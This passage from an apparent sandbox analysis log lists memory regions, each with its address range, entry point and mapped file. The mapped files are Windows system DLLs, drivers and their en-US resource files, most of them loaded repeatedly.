filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 6087 start_va = 0xe00000 end_va = 0xe18fff monitored = 1 entry_point = 0xe01380 region_type = mapped_file name = "workflowservicehostperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WorkflowServiceHostPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\workflowservicehostperformancecounters.dll") Region: id = 6088 start_va = 0xe20000 end_va = 0xe25fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "workflowservicehostperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\WorkflowServiceHostPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\workflowservicehostperformancecounters.dll.mui") Region: id = 6089 start_va = 0xe00000 end_va = 0xe18fff monitored = 1 entry_point = 0xe01380 region_type = mapped_file name = "workflowservicehostperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WorkflowServiceHostPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\workflowservicehostperformancecounters.dll") Region: id = 6090 start_va = 0xe20000 end_va = 0xe25fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "workflowservicehostperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\WorkflowServiceHostPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\workflowservicehostperformancecounters.dll.mui") Region: id = 6091 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsm.dll.mui" filename = "\\Windows\\System32\\en-US\\lsm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\lsm.dll.mui") Region: id = 6092 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11faee0 region_type = mapped_file name = "lsm.dll" filename = "\\Windows\\System32\\lsm.dll" (normalized: "c:\\windows\\system32\\lsm.dll") Region: id = 6093 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsm.dll.mui" filename = "\\Windows\\System32\\en-US\\lsm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\lsm.dll.mui") Region: id = 6094 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11faee0 region_type = mapped_file name = "lsm.dll" filename = "\\Windows\\System32\\lsm.dll" (normalized: "c:\\windows\\system32\\lsm.dll") Region: id = 6095 start_va = 0xe00000 end_va = 0xe12fff monitored = 0 entry_point = 0xe026e0 region_type = mapped_file name = "hvhostsvc.dll" filename = "\\Windows\\System32\\hvhostsvc.dll" (normalized: "c:\\windows\\system32\\hvhostsvc.dll") Region: id = 6096 start_va = 0xe20000 end_va = 0xe35fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hvhostsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\hvhostsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\hvhostsvc.dll.mui") Region: id = 6097 start_va = 0xe00000 end_va = 0xe12fff monitored = 0 entry_point = 0xe026e0 region_type = mapped_file name = "hvhostsvc.dll" filename = "\\Windows\\System32\\hvhostsvc.dll" (normalized: "c:\\windows\\system32\\hvhostsvc.dll") Region: id = 6098 start_va = 0xe20000 end_va = 0xe35fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hvhostsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\hvhostsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\hvhostsvc.dll.mui") Region: id = 6099 start_va = 0xe00000 end_va = 0xe12fff monitored = 0 entry_point = 0xe026e0 region_type = mapped_file name = "hvhostsvc.dll" filename = "\\Windows\\System32\\hvhostsvc.dll" (normalized: "c:\\windows\\system32\\hvhostsvc.dll") Region: id = 6100 start_va = 0xe20000 end_va = 0xe35fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hvhostsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\hvhostsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\hvhostsvc.dll.mui") Region: id = 6101 start_va = 0xe00000 end_va = 0xe12fff monitored = 0 entry_point = 0xe026e0 region_type = mapped_file name = "hvhostsvc.dll" filename = "\\Windows\\System32\\hvhostsvc.dll" (normalized: "c:\\windows\\system32\\hvhostsvc.dll") Region: id = 6102 start_va = 0xe20000 end_va = 0xe35fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hvhostsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\hvhostsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\hvhostsvc.dll.mui") Region: id = 6103 start_va = 0xe00000 end_va = 0xe12fff monitored = 0 entry_point = 0xe026e0 region_type = mapped_file name = "hvhostsvc.dll" filename = "\\Windows\\System32\\hvhostsvc.dll" (normalized: "c:\\windows\\system32\\hvhostsvc.dll") Region: id = 6104 start_va = 0xe20000 end_va = 0xe35fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hvhostsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\hvhostsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\hvhostsvc.dll.mui") Region: id = 6105 start_va = 0xe00000 end_va = 0xe12fff monitored = 0 entry_point = 0xe026e0 region_type = mapped_file name = "hvhostsvc.dll" filename = "\\Windows\\System32\\hvhostsvc.dll" (normalized: "c:\\windows\\system32\\hvhostsvc.dll") Region: id = 6106 start_va = 0xe20000 end_va = 0xe35fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hvhostsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\hvhostsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\hvhostsvc.dll.mui") Region: id = 6107 start_va = 0xe00000 end_va = 0xe12fff monitored = 0 entry_point = 0xe026e0 region_type = mapped_file name = "hvhostsvc.dll" filename = "\\Windows\\System32\\hvhostsvc.dll" (normalized: "c:\\windows\\system32\\hvhostsvc.dll") Region: id = 6108 start_va = 0xe20000 end_va = 0xe35fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hvhostsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\hvhostsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\hvhostsvc.dll.mui") Region: id = 6109 start_va = 0xe00000 end_va = 0xe12fff monitored = 0 entry_point = 0xe026e0 region_type = mapped_file name = "hvhostsvc.dll" filename = "\\Windows\\System32\\hvhostsvc.dll" (normalized: "c:\\windows\\system32\\hvhostsvc.dll") Region: id = 6110 start_va = 0xe20000 end_va = 0xe35fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hvhostsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\hvhostsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\hvhostsvc.dll.mui") Region: id = 6111 start_va = 0xe00000 end_va = 0xe12fff monitored = 0 entry_point = 0xe026e0 region_type = mapped_file name = "hvhostsvc.dll" filename = "\\Windows\\System32\\hvhostsvc.dll" (normalized: "c:\\windows\\system32\\hvhostsvc.dll") Region: id = 6112 start_va = 0xe20000 end_va = 0xe35fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hvhostsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\hvhostsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\hvhostsvc.dll.mui") Region: id = 6113 start_va = 0xe00000 end_va = 0xe12fff monitored = 0 entry_point = 0xe026e0 region_type = mapped_file name = "hvhostsvc.dll" filename = "\\Windows\\System32\\hvhostsvc.dll" (normalized: "c:\\windows\\system32\\hvhostsvc.dll") Region: id = 6114 start_va = 0xe20000 end_va = 0xe35fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hvhostsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\hvhostsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\hvhostsvc.dll.mui") Region: id = 6115 start_va = 0xe00000 end_va = 0xe2afff monitored = 0 entry_point = 0xe1d010 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 6116 start_va = 0xe30000 end_va = 0xe34fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 6117 start_va = 0xe00000 end_va = 0xe2afff monitored = 0 entry_point = 0xe1d010 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 6118 start_va = 0xe30000 end_va = 0xe34fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 6119 start_va = 0xe00000 end_va = 0xe2afff monitored = 0 entry_point = 0xe1d010 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 6120 start_va = 0xe30000 end_va = 0xe34fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 6121 start_va = 0xe00000 end_va = 0xe2afff monitored = 0 entry_point = 0xe1d010 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 6122 start_va = 0xe30000 end_va = 0xe34fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 6123 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6124 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6125 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6126 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6127 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6128 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6129 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6130 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6131 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6132 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6133 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6134 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6135 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6136 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6137 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6138 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6139 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6140 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6141 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6142 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6143 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6144 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6145 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6146 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6147 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6148 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6149 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6150 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6151 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6152 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6153 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6154 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6155 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6156 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6157 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6158 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6159 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6160 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6161 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6162 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6163 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6164 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6165 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6166 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6167 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6168 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6169 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6170 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6171 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6172 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6173 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6174 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6175 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6176 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6177 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6178 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6179 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pnrpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\pnrpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\pnrpsvc.dll.mui") Region: id = 6180 start_va = 0x11d0000 end_va = 0x122bfff monitored = 0 entry_point = 0x12163d0 region_type = mapped_file name = "pnrpsvc.dll" filename = "\\Windows\\System32\\pnrpsvc.dll" (normalized: "c:\\windows\\system32\\pnrpsvc.dll") Region: id = 6181 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pnrpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\pnrpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\pnrpsvc.dll.mui") Region: id = 6182 start_va = 0x11d0000 end_va = 0x122bfff monitored = 0 entry_point = 0x12163d0 region_type = mapped_file name = "pnrpsvc.dll" filename = "\\Windows\\System32\\pnrpsvc.dll" (normalized: "c:\\windows\\system32\\pnrpsvc.dll") Region: id = 6183 start_va = 0xe00000 end_va = 0xe00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "azroles.dll.mui" filename = "\\Windows\\System32\\en-US\\azroles.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\azroles.dll.mui") Region: id = 6184 start_va = 0x11d0000 end_va = 0x126efff monitored = 0 entry_point = 0x122ec60 region_type = mapped_file name = "azroles.dll" filename = "\\Windows\\System32\\azroles.dll" (normalized: "c:\\windows\\system32\\azroles.dll") Region: id = 6185 start_va = 0xe00000 end_va = 0xe00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "azroles.dll.mui" filename = "\\Windows\\System32\\en-US\\azroles.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\azroles.dll.mui") Region: id = 6186 start_va = 0x11d0000 end_va = 0x126efff monitored = 0 entry_point = 0x122ec60 region_type = mapped_file name = "azroles.dll" filename = "\\Windows\\System32\\azroles.dll" (normalized: "c:\\windows\\system32\\azroles.dll") Region: id = 6187 start_va = 0xe00000 end_va = 0xe28fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll.mui" filename = "\\Windows\\System32\\en-US\\FXSRESM.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fxsresm.dll.mui") Region: id = 6188 start_va = 0x11d0000 end_va = 0x12b3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll" filename = "\\Windows\\System32\\FXSRESM.dll" (normalized: "c:\\windows\\system32\\fxsresm.dll") Region: id = 6189 start_va = 0xe00000 end_va = 0xe28fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll.mui" filename = "\\Windows\\System32\\en-US\\FXSRESM.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fxsresm.dll.mui") Region: id = 6190 start_va = 0x11d0000 end_va = 0x12b3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll" filename = "\\Windows\\System32\\FXSRESM.dll" (normalized: "c:\\windows\\system32\\fxsresm.dll") Region: id = 6191 start_va = 0xe00000 end_va = 0xe05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "afd.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\afd.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\afd.sys.mui") Region: id = 6192 start_va = 0x11d0000 end_va = 0x1272fff monitored = 0 entry_point = 0x1254010 region_type = mapped_file name = "afd.sys" filename = "\\Windows\\System32\\drivers\\afd.sys" (normalized: "c:\\windows\\system32\\drivers\\afd.sys") Region: id = 6193 start_va = 0xe00000 end_va = 0xe05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "afd.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\afd.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\afd.sys.mui") Region: id = 6194 start_va = 0x11d0000 end_va = 0x1272fff monitored = 0 entry_point = 0x1254010 region_type = mapped_file name = "afd.sys" filename = 